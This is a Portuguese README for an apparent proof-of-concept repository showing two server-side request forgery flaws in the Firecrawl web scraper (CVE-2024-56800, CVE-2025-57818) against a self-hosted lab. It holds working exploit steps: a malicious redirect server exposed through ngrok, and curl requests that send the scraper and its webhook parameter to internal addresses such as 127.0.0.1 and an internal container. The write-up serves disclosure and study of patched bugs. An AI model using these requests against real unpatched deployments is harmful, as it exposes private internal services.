cyhe50/cve-2024-56800-pocExploit de prova de conceito demonstrando vulnerabilidades SSRF no raspador web Firecrawl (CVE-2024-56800, CVE-2025-57818) com configuração auto-hospedada e servidor de redirecionamento malicioso.
https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawl é um raspador web (web scraper) que permite aos usuários extrair o conteúdo de uma página web. Versões anteriores à 1.1.1 contêm uma vulnerabilidade de server-side request forgery (SSRF). O mecanismo do scraper aceita que sites redirecionem para quaisquer endereços IP locais, causando o vazamento de recursos no servidor privado.
está em apps/api/src/controllers/v1/scrape.ts
A entrada do usuário não é sanitizada e é permitido que seja um endereço IP privado. Quando se usa 127.0.0.1, ele na verdade redireciona para a rede local do firecrawl, vazando o servidor interno do servidor firecrawl.
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
O motivo é que o servidor firecrawl bloqueia URLs privadas. Se você não quiser tornar o servidor público, acredito que pode simplesmente comentar a validação diretamente no firecrawl.
Aqui eu apenas descrevo o que fiz. ngrok:
ngrok http 8000
curl: (lembre-se de colar a URL correta)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'
scraper.py
cd scraper
!! abra o Dockerfile e altere a URL para a que você acabou de gerar
docker build -t scraper .
docker run scraper
Ao iniciar o servidor firecrawl self-hosted, 5 serviços são habilitados; um deles é firecrawl-test-1 (veja mais detalhes com docker ps).
Como todos esses 5 serviços estão configurados na mesma rede, eles podem se conectar entre si usando o nome do contêiner ao qual desejam se conectar.
ex.: (conectar ao firecrawl-test-1)
executando curl diretamente na máquina local:
curl http://firecrawl-test-1:80
or
curl http://localhost:80
nenhum deles deve funcionar, pois não estão na mesma rede que firecrawl-test-1
No entanto, acessando dentro de firecrawl-api-1:
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80
isso deve exibir os dados corretos porque eles estão na mesma rede.
No servidor malicioso, ele redireciona para http://firecrawl-test-1:80, que só deveria funcionar para a rede do firecrawl. Portanto, o sucesso ao alcançar o servidor firecrawl-test-1 significa que o scraper redirecionou para o servidor interno com sucesso. Isso mostra como o SSRF funciona para expor recursos em um servidor privado.
Esta também é uma vulnerabilidade de SSRF.
Isso acontece na API de crawl, onde o parâmetro webhook não é sanitizado. Atacantes podem enviar uma requisição POST para uma rede local do firecrawl.
está em apps/api/src/services/webhook.ts. O problema é que a entrada webhookUrl não é sanitizada
O webhook fará uma requisição POST para a URL especificada. Aqui, nós a definimos como 127.0.0.1 e ele se conectou ao servidor interno com sucesso.
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
O servidor interno recebeu a requisição POST com sucesso
